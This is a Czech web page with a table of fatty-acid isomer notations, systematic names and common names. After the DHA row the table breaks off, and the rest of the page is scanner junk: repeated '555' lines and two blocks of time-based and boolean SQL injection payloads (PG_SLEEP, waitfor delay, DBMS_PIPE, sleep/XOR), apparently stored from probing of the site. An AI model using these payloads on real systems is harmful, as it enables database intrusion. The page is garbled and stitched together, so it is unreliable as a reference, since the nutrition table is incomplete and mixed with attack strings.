Odborníci na výživu často označují tuky v potravě jako nasycené, mononenasycené nebo polynenasycené - na základě počtu zdvojených vazeb, které existují v tukové tkáni v molekulární struktuře. Pro každou z těchto tří skupin, existuje velké množství různých chemických změn, neboli "izomerů".
Z důvodu přehlednosti, přidáváme ke každé z mastných kyselin izomer a jeho číselné označení. První číslo tohoto označení udává, kolik atomů je uhlíku v molekule mastné kyseliny, číslo za dvojtečkou udává počet dvojných vazeb. Omega-3 a omega-6 izomerů patří "n-3" a "n-6" označení, a písmena C a T se používají k označení, zda jde o zdvojené vazby v cis nebo trans konfiguraci.
Mnoho mastných kyselin má také systematická (non-numerická) jména, stejně jako běžná jména, což vede k určitému zmatku v jejich identifikaci. V této tabulce najdete všechna označení a jména.
Typ |
Izomer |
Systematické jméno |
Obecný název |
Nasycené tuky |
4:0 |
kyselina butanoic |
kyselina máselná |
6:0 |
kyselina hexanoic |
kyselina kapronová |
|
8:0 |
kyselina oktanová |
kyselina kaprylová |
|
10:0 |
kyselina decanoic |
kyselina kaprinová |
|
12:0 |
kyselina dodecanoic |
kyselina laurová |
|
13:0 |
kyselina tridecanoic |
||
14:0 |
kyselina tetradecanoic |
kyselina myristová |
|
15:0 |
kyselina pentadecanoic |
||
16:0 |
kyselina hexadecanoic |
kyselina palmitová |
|
17:0 |
kyselina eptadekanová |
kyselina margaric |
|
18:0 |
kyselina octadecanoic |
kyselina stearová |
|
19:0 |
kyselina nonadecanoic |
||
20:0 |
kyselina eicosanoic |
kyselina arachidic |
|
22:0 |
kyselina docosanoic |
kyselina behenové |
|
24:0 |
kyselina tetracosanoic |
kyselina lignoceric |
|
Typ |
Izomer |
Systematické jméno |
Obecný název |
Mononenasycené tuky |
14:1 |
kyselina tetradecenoic |
kyselina myristoleic |
15:1 |
kyselina pentadecenoic |
||
16:1 blíže neurčené |
kyselina hexadecenoic |
kyselina palmitolejové |
|
16:1 c |
|||
16:1 t |
|||
17:1 |
kyselina heptadecenoic |
||
18:1 blíže neurčené |
kyselina octadecenoic |
kyselina olejová |
|
18:1 c |
|||
18:1 t |
|||
20:1 |
kyselina eicosenoic |
kyselina gadoleic |
|
22:1 blíže neurčené |
kyselina dokosenová |
kyselina eruková |
|
22:1 c |
|||
22:1 t |
|||
24:1 c |
kyselina cis-tetracosenoic |
kyselina nervonic |
|
Typ |
Izomer |
Systematické jméno |
Obecný název |
Polynenasycených tuků |
16:2 blíže neurčené |
kyselina hexadecadienoic |
|
18:2 blíže neurčené |
kyselina octadecadienoic |
kyselina linolová |
|
18:2 n-6 c,c |
|||
18:2 c,t |
|||
18:2 t,c |
|||
18:2 t,t |
|||
18:2 i |
|||
18:2 t dále definován |
|||
18:3 blíže neurčené |
kyselina octadecatrienoic |
kyselina linolenová |
|
18:3 n-3 c,c,c |
kyselina alfa-linolenová |
||
18:3 n-6 c,c,c |
kyselina gama-linolenová |
||
18:4 blíže neurčené |
kyselina octadecatetraenoic |
kyselina parinaric |
|
20:2 n-6 c,c |
kyselina eicosadienoic |
||
20:3 blíže neurčené |
kyselina eicosatrienoic |
||
20:3 n-3 |
|||
20:3 n-6 |
|||
20:4 blíže neurčené |
kyselina eicosatetraenoic |
kyselina arachidonová |
|
20:4 n-3 |
|||
20:4 n-6 |
|||
20:5 n-3 |
kyselina eikosapentaenová (EPA) |
kyselina timnodonic |
|
22:2 |
kyselina docosadienoic |
kyselina brassic |
|
22:5 n-3 |
kyselina docosapentaenoic (DPA) |
kyselina clupanodonic |
|
22:6 n-3 |
kyselina dokosahexaenová (DHA) |
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@xWbAT
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
97ySfnJy')) OR 867=(SELECT 867 FROM PG_SLEEP(15))--
e7JwhvrT') OR 291=(SELECT 291 FROM PG_SLEEP(15))--
jUwxSO7x' OR 779=(SELECT 779 FROM PG_SLEEP(15))--
-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
-5) OR 780=(SELECT 780 FROM PG_SLEEP(15))--
-5 OR 623=(SELECT 623 FROM PG_SLEEP(15))--
DsgWCH71'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+395-395) --
-1" OR 3*2<(0+5+395-395) --
-1" OR 3+395-395-1=0+0+0+1 --
-1" OR 2+395-395-1=0+0+0+1 --
-1' OR 3*2>(0+5+300-300) or 'DxhFemMo'='
-1' OR 3*2<(0+5+300-300) or 'DxhFemMo'='
-1' OR 3+300-300-1=0+0+0+1 or 'DxhFemMo'='
-1' OR 2+300-300-1=0+0+0+1 or 'DxhFemMo'='
-1' OR 3*2>(0+5+137-137) --
-1' OR 3*2<(0+5+137-137) --
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3*2>(0+5+649-649)
-1 OR 3*2<(0+5+649-649)
-1 OR 3+649-649-1=0+0+0+1
-1 OR 2+649-649-1=0+0+0+1
-1 OR 3*2>(0+5+449-449) --
-1 OR 3*2<(0+5+449-449) --
-1 OR 3+449-449-1=0+0+0+1 --
-1 OR 2+449-449-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@8TOZN
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1RaubNxg')) OR 360=(SELECT 360 FROM PG_SLEEP(15))--
GHj84UTo') OR 351=(SELECT 351 FROM PG_SLEEP(15))--
BXeRBCmS' OR 490=(SELECT 490 FROM PG_SLEEP(15))--
-1)) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
-5) OR 720=(SELECT 720 FROM PG_SLEEP(15))--
-5 OR 525=(SELECT 525 FROM PG_SLEEP(15))--
KuXSrBU9'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+386-386) --
-1" OR 3*2<(0+5+386-386) --
-1" OR 3+386-386-1=0+0+0+1 --
-1" OR 2+386-386-1=0+0+0+1 --
-1' OR 3*2>(0+5+526-526) or '6Rk9bdCF'='
-1' OR 3*2<(0+5+526-526) or '6Rk9bdCF'='
-1' OR 3+526-526-1=0+0+0+1 or '6Rk9bdCF'='
-1' OR 2+526-526-1=0+0+0+1 or '6Rk9bdCF'='
-1' OR 3*2>(0+5+841-841) --
-1' OR 3*2<(0+5+841-841) --
-1' OR 3+841-841-1=0+0+0+1 --
-1' OR 2+841-841-1=0+0+0+1 --
-1 OR 3*2>(0+5+159-159)
-1 OR 3*2<(0+5+159-159)
-1 OR 3+159-159-1=0+0+0+1
-1 OR 2+159-159-1=0+0+0+1
-1 OR 3*2>(0+5+947-947) --
-1 OR 3*2<(0+5+947-947) --
-1 OR 3+947-947-1=0+0+0+1 --
-1 OR 2+947-947-1=0+0+0+1 --
555
555
555
555